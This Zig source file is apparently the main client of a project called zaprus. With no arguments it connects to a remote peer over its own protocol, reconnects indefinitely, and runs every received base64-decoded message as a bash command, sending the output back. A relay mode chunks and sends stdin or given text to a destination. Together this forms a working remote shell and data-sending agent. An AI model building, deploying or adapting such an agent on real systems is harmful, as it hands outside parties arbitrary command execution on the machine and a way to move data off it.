// Copyright 2026 Robby Zambito
//
// This file is part of zaprus.
//
// Zaprus is free software: you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the Free Software
// Foundation, either version 3 of the License, or (at your option) any later
// version.
//
// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along with
// Zaprus. If not, see <https://www.gnu.org/licenses/>.

const is_debug = builtin.mode == .Debug;

const help =
    \\-h, --help           Display this help and exit.
    \\-r, --relay <str>    A relay message to send.
    \\-d, --dest <str>     An IPv4 or <= 4 ASCII byte string.
    \\-c, --connect <str>  A connection message to send.
    \\
;

const Option = enum { help, relay, dest, connect };
const to_option: StaticStringMap(Option) = .initComptime(.{
    .{ "-h", .help },
    .{ "--help", .help },
    .{ "-r", .relay },
    .{ "--relay", .relay },
    .{ "-d", .dest },
    .{ "--dest", .dest },
    .{ "-c", .connect },
    .{ "--connect", .connect },
});

pub fn main(init: std.process.Init) !void {
    // CLI parsing adapted from the example here
    // https://codeberg.org/ziglang/zig/pulls/30644

    const args = try init.minimal.args.toSlice(init.arena.allocator());

    var flags: struct {
        relay: ?[]const u8 = null,
        dest: ?[]const u8 = null,
        connect: ?[]const u8 = null,
    } = .{};

    if (args.len == 1) {
        flags.connect = "";
    } else {
        var i: usize = 1;
        while (i < args.len) : (i += 1) {
            if (to_option.get(args[i])) |opt| {
                switch (opt) {
                    .help => {
                        std.debug.print("{s}", .{help});
                        return;
                    },
                    .relay => {
                        i += 1;
                        if (i < args.len) {
                            flags.relay = args[i];
                        } else {
                            flags.relay = "";
                        }
                    },
                    .dest => {
                        i += 1;
                        if (i < args.len) {
                            flags.dest = args[i];
                        } else {
                            std.debug.print("-d/--dest requires a string\n", .{});
                            return error.InvalidArguments;
                        }
                    },
                    .connect => {
                        i += 1;
                        if (i < args.len) {
                            flags.connect = args[i];
                        } else {
                            flags.connect = "";
                        }
                    },
                }
            } else {
                std.debug.print("Unknown argument: {s}\n", .{args[i]});
                return error.InvalidArguments;
            }
        }
    }

    if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
        std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
        return error.InvalidArguments;
    }

    var client: SaprusClient = undefined;

    if (flags.relay != null) {
        client = try .init();
        defer client.deinit();
        var chunk_writer_buf: [2048]u8 = undefined;
        var chunk_writer: Writer = .fixed(&chunk_writer_buf);
        if (flags.relay.?.len > 0) {
            var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
            while (output_iter.next()) |chunk| {
                chunk_writer.end = 0;
                try chunk_writer.print("{b64}", .{chunk});
                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
                try init.io.sleep(.fromMilliseconds(40), .boot);
            }
        } else {
            var stdin_file: std.Io.File = .stdin();
            var stdin_file_reader = stdin_file.reader(init.io, &.{});
            var stdin_reader = &stdin_file_reader.interface;
            var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
            var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
            var stdin = &limited.interface;

            while (stdin.fillMore()) {
                // Sometimes fillMore will return 0 bytes.
                // Skip these
                if (stdin.seek == stdin.end) continue;

                chunk_writer.end = 0;
                try chunk_writer.print("{b64}", .{stdin.buffered()});
                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
                try init.io.sleep(.fromMilliseconds(40), .boot);
                try stdin.discardAll(stdin.end);
            } else |err| switch (err) {
                error.EndOfStream => {
                    log.debug("end of stdin", .{});
                },
                else => |e| return e,
            }
        }
        return;
    }

    var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined;
    var w: Writer = .fixed(&init_con_buf);
    try w.print("{b64}", .{flags.connect.?});

    if (flags.connect != null) {
        reconnect: while (true) {
            client = SaprusClient.init() catch |err| switch (err) {
                error.NoInterfaceFound => {
                    try init.io.sleep(.fromMilliseconds(100), .boot);
                    continue :reconnect;
                },
                else => |e| return e,
            };
            defer client.deinit();
            log.debug("Starting connection", .{});

            try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
            var connection = client.connect(init.io, w.buffered()) catch {
                log.debug("Connection timed out", .{});
                continue;
            };

            log.debug("Connection started", .{});

            next_message: while (true) {
                var res_buf: [2048]u8 = undefined;
                try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
                const next = connection.next(init.io, &res_buf) catch {
                    continue :reconnect;
                };

                const b64d = std.base64.standard.Decoder;
                var connection_payload_buf: [2048]u8 = undefined;
                const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
                b64d.decode(connection_payload, next) catch {
                    log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
                    continue;
                };

                var child = std.process.spawn(init.io, .{
                    .argv = &.{ "bash", "-c", connection_payload },
                    .stdout = .pipe,
                    .stderr = .ignore,
                    .stdin = .ignore,
                }) catch |err| switch (err) {
                    error.AccessDenied,
                    error.FileBusy,
                    error.FileNotFound,
                    error.FileSystem,
                    error.InvalidExe,
                    error.IsDir,
                    error.NotDir,
                    error.OutOfMemory,
                    error.PermissionDenied,
                    error.SymLinkLoop,
                    error.SystemResources,
                    => blk: {
                        log.debug("Trying to execute command directly: {s}", .{connection_payload});
                        var argv_buf: [128][]const u8 = undefined;
                        var argv: ArrayList([]const u8) = .initBuffer(&argv_buf);
                        var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n");
                        while (payload_iter.next()) |arg| argv.appendBounded(arg) catch continue;
                        break :blk std.process.spawn(init.io, .{
                            .argv = argv.items,
                            .stdout = .pipe,
                            .stderr = .ignore,
                            .stdin = .ignore,
                        }) catch continue;
                    },
                    error.Canceled,
                    error.NoDevice,
                    error.OperationUnsupported,
                    => |e| return e,
                    else => continue,
                };

                var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined;
                var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);

                var is_killed: std.atomic.Value(bool) = .init(false);

                var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed });
                defer _ = kill_task.cancel(init.io) catch {};

                var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
                var cmd_output: Writer = .fixed(&cmd_output_buf);

                // Maximum of 10 messages of output per command
                for (0..10) |_| {
                    cmd_output.end = 0;

                    child_output_reader.interface.fill(child_output_reader.interface.buffer.len) catch |err| switch (err) {
                        error.ReadFailed => continue :next_message, // TODO: check if there is a better way to handle this
                        error.EndOfStream => {
                            cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable;
                            if (cmd_output.end > 0) {
                                connection.send(init.io, .{}, cmd_output.buffered()) catch |e| {
                                    log.debug("Failed to send connection chunk: {t}", .{e});
                                    continue :next_message;
                                };
                            }
                            break;
                        },
                    };
                    cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable;
                    connection.send(init.io, .{}, cmd_output.buffered()) catch |err| {
                        log.debug("Failed to send connection chunk: {t}", .{err});
                        continue :next_message;
                    };
                    try init.io.sleep(.fromMilliseconds(40), .boot);
                } else {
                    kill_task.cancel(init.io) catch {};
                    killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| {
                        log.debug("Failed to kill process??? {t}", .{err});
                        continue :next_message;
                    };
                }

                if (!is_killed.load(.monotonic)) {
                    _ = child.wait(init.io) catch |err| {
                        log.debug("Failed to wait for child: {t}", .{err});
                    };
                }
            }
        }
    }

    unreachable;
}

fn killProcessAfter(io: std.Io, proc: *std.process.Child, duration: std.Io.Duration, is_killed: *std.atomic.Value(bool)) !void {
    io.sleep(duration, .boot) catch |err| switch (err) {
        error.Canceled => return,
        else => |e| return e,
    };
    is_killed.store(true, .monotonic);
    proc.kill(io);
}

fn parseDest(in: ?[]const u8) [4]u8 {
    if (in) |dest| {
        if (dest.len <= 4) {
            var res: [4]u8 = @splat(0);
            @memcpy(res[0..dest.len], dest);
            return res;
        }

        const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
        return addr.bytes;
    }
    return "disc".*;
}

const builtin = @import("builtin");
const std = @import("std");
const log = std.log;
const ArrayList = std.ArrayList;
const StaticStringMap = std.StaticStringMap;

const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message;

const Writer = std.Io.Writer;